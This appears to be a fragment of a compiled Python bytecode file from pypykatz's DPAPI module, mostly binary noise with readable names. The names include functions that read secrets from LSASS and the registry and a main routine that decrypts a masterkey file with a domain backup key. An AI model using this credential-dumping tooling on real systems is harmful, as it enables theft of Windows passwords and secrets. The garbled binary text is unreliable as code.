__module__Ú__qualname__r&   r2   r<   rE   rM   rP   rh   r{   r„   rŠ   r¦   r§   rª   rº   r¿   ÚboolrÊ   r»   rÐ   rÓ   rÎ   rÛ   rÖ   rß   rÞ   rá   rð   rñ   rò   rô   rõ   Ústaticmethodrû   rø   r÷   rö   r  r   r  r=  r@  r>  rY  rg  rj  rk  rU   rn  rt  rp  rv  rN  r€  r†  r™  r$   r$   r$   r%   r   h   s„    

	
	
-"


1	








!




"
&
5




	r   c                 C   sn   t ƒ }|d ur| |¡ |d ur| |¡ d| v r| ¡  d| v r)d| vr)| ¡  d| v r5d| vr5| ¡  |S )NÚallÚregistryÚlsass)r   rP   r<   rY  r„   r§   )Úmethodsr¶   Úpkfr“   r$   r$   r%   Úprepare_dpapi_live·  s   

r¤  c                  C   s   d} d}t ƒ }| | |¡ d S )NzN/mnt/hgfs/!SHARED/feature/masterkeyfile - 170d0d57-e0ae-4877-bab6-6f5af49d3e8eza/mnt/hgfs/!SHARED/feature/pvkfile - ntds_capi_0_fdf0c850-73d3-48cf-86b6-6beb609206c3.keyx.rsa.pvk)r   Údecrypt_mkf_with_pvk)r³   r´   r“   r$   r$   r%   ÚmainÈ  s   r¦  Ú__main__);rÅ   rý   rJ   rY   rÄ   r0  rK  ÚplatformÚhashlibr   r   r   Úxml.etree.ElementTreeÚetreeÚElementTreer[  rŒ   r   Ú'pypykatz.dpapi.structures.masterkeyfiler   Ú(pypykatz.dpapi.structures.credentialfiler   r   Úpypykatz.dpapi.structures.blobr	   Úpypykatz.dpapi.structures.vaultr
   r   r   Úpypykatz.dpapi.finders.ngcr   r   Ú!pypykatz.dpapi.finders.cryptokeysr   Úunicrypto.hashlibr   rV   Úunicrypto.symmetricr   r   r   Úwinacl.dtyp.wcee.pvkfiler   Úwinacl.dtyp.wcee.cryptoapikeyr   r   Úpypykatz.commons.commonr   r   Ú1cryptography.hazmat.primitives.asymmetric.paddingr   Úsystemrœ   Ú*pypykatz.commons.winapi.processmanipulatorr   r   r¤  r¦  rš  r$   r$   r$   r%   Ú<module>   sL   
;      U
ÿ